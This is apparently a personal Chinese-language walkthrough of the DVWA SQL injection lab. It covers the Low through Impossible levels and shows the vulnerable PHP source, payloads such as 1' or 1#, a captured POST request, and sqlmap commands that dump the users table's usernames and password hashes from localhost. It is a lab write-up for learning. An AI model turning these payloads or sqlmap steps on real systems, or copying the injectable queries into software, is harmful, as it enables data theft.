# DVWA SQL Injection ###### tags: `DVWA` Low: 這題是查use ID 我們可以猜測出這樣的語句 ``` select * from xxx where user_id='id' ``` 以下兩個都成功,說明了是字符型的注入 ``` 1' or 1# 1' or '1 ``` code: 確實跟猜測的差不多。 ```php= <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?> ``` 手動注入,之前玩過,所以這邊用sql map 自動注入: ``` 隨變輸入產生get 請求。 http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit# 參數-u "http://xxxx" python D:\SQL_map\sqlmap-master\sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" 加上coockie python D:\SQL_map\sqlmap-master\sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=2f9c2085585d320a3a85d42a7e1a4566; security=low" --batch --dbs #--batch 自動填入一些 yes no #--dbs 顯示所有database python D:\SQL_map\sqlmap-master\sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=2f9c2085585d320a3a85d42a7e1a4566; security=low" --batch --dbs --batch -D dvwa --tables #找到dvwa -D dvwa --tables 查底下的表 python D:\SQL_map\sqlmap-master\sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=2f9c2085585d320a3a85d42a7e1a4566; security=low" --batch -D dvwa --tables --batch -D "dvwa" --columns -T "users" #找到dvwa 下有個users tables #看users 表的 columns python D:\SQL_map\sqlmap-master\sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=2f9c2085585d320a3a85d42a7e1a4566; security=low" --batch -D "dvwa" --columns -T "users" --dump -D "dvwa" -T "users" -C "user,password" #找到 users 表下有兩個 columns user,password #--dump 顯示出來 python D:\SQL_map\sqlmap-master\sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=2f9c2085585d320a3a85d42a7e1a4566; security=low" --dump -D "dvwa" -T "users" -C "user,password" ``` 最後可以拿到用戶名,和md5加密的密碼。 # Medium code: ```php= <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?> ``` 關鍵: 不是字符型,而是bool型 ```php= $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; ``` 這題是POST 所以抓包 id= 1 or 1 或 id=1+or+1,都可以 ``` POST /vulnerabilities/sqli/ HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 18 Origin: http://localhost Connection: close Referer: http://localhost/vulnerabilities/sqli/ Cookie: PHPSESSID=2f9c2085585d320a3a85d42a7e1a4566; security=medium Upgrade-Insecure-Requests: 1 id=1 or 1&Submit=Submit ``` 結果可以看見有注入 可以先刪除sqlmap 緩存: ``` C:\Users\xxx\AppData\Local\sqlmap\output\localhost ``` sql map 使用post ``` python D:\SQL_map\sqlmap-master\sqlmap.py -u "http://localhost/vulnerabilities/sqli/#" --cookie "PHPSESSID=2f9c2085585d320a3a85d42a7e1a4566; security=medium" --data "id=1&Submit=Submit" --batch 推薦這招: -r post.txt 裡面放我們的http數據 python D:\SQL_map\sqlmap-master\sqlmap.py -r post.txt ``` 剩下操作都跟上面一樣。 <br/><br/> #High code: 一樣是字符型的 ```php= <?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 一樣可以注入: ``` 1' or 1# ``` 這次分開了輸入和輸出的網頁。 輸入: http://localhost/vulnerabilities/sqli/session-input.php 輸出: http://localhost/vulnerabilities/sqli/ 多加一個 --second-url "xxxxxx" ``` --second-url python D:\SQL_map\sqlmap-master\sqlmap.py -r post.txt --second-url "http://localhost/vulnerabilities/sqli/" --batch ``` <br/><br/> # Impossible code: 加了token 雖說應該還是無法防sqlmap (沒測試過)。 但使用了PDO 就無法了 ```php= <?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } } // Generate Anti-CSRF token generateSessionToken(); ?> ```